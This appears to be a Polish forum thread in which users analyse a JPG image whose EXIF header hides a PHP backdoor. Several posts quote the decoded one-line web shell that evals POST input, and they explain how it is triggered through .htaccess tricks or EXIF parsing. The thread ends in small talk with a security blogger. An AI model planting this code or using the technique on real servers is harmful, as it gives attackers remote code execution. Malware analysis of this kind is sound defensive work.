[D.....k]

#webdev #wirusy #hacking

No dobra, to teraz coś dziwnego. WTF??

[A.....y]

@Dreszczyk: Skopiuj opis, wklej do PHP. Wygląda jak trojan/shell w PHP. Przeważnie jeszcze jest eval(base64_decode(gzinflate(...)));

[V.....m]

@Dreszczyk: To cuś zawiera kod:

if (b3set($*POST["zz1–])) {eval(stripslashes($*POST["zz1"]));}

[D.....k]

@Vealheim: a u mnie wychodzi:

if (isset($*POST["zz1"])) {eval(stripslashes($*POST["zz1"]));}

[V.....m]

@Dreszczyk: Widocznie źle przepisałem ;) W każdym razie ma umożliwić zdalne wykonywanie dowolnego kodu. Na jakiej zasadzie - nie wiem.

[D.....k]

@Vealheim: ale w exifie?...

[V.....m]

@Dreszczyk: Trudniej znaleźć kod, kiedy ukryje się go w exifie (i raczej o to chodzi), a wykonać go można w dalszym ciągu (np. wymuszając interpretacje plików jpg jako php w .htaccess). Ktoś ma/miał/liczy na dostęp do plików i nie chce, żeby ktoś/automat łatwo znalazł jego podrzucony kod.

[B.....r]

@Dreszczyk: Nic innego jak plik przygotowany do wrzucenia jako shell. Niektóre stronki, często fora parsują exify zdjęć/avatarów i innych i bang mamy shella gotowego :)

[kamdz]

@Dreszczyk: ładny backdoor

[D.....k]

@kamdz: @Butler: najlepsze jest to, że wykrywa go tylko jeden skaner na virustotal...

[B.....r]

@Dreszczyk: No dziwne, bo motyw znany od co najmniej kilku lat ;)

[ZaufanaTrzeciaStrona]

@Dreszczyk: http://zaufanatrzeciastrona.pl/post/backdoor-w-naglowkach-exif-plikow-jpg/

[B.....r]

@ZaufanaTrzeciaStrona: Adam - Ty pracujesz w branży security? Przedstaw się w końcu :)

[ZaufanaTrzeciaStrona]

@Butler: 1. Tak. 2. Na razie nie planuję - serwis ma promować bezpieczeństwo a nie właściciela :)

[B.....r]

@ZaufanaTrzeciaStrona: 1. Pentester? wysokopoziomowiec czy niskopoziomowiec? 3. Rozumiem, ciekaw jestem, bo może jesteś kolegą z sąsiedztwa ;)

[ZaufanaTrzeciaStrona]

@Butler: Nic technicznego. Koledzy raczej wiedzą :)

[B.....r]

@ZaufanaTrzeciaStrona: Hmm security a nic technicznego? To skąd ten polot przy pisaniu artykułów?

[ZaufanaTrzeciaStrona]

@Butler: Cecha wrodzona ;) Jak chcesz pogadać to zapraszam na #z3s na IRCnecie

[B.....r]

@ZaufanaTrzeciaStrona: W jakich godzinach jesteś?

[ZaufanaTrzeciaStrona]

@Butler: Większosć doby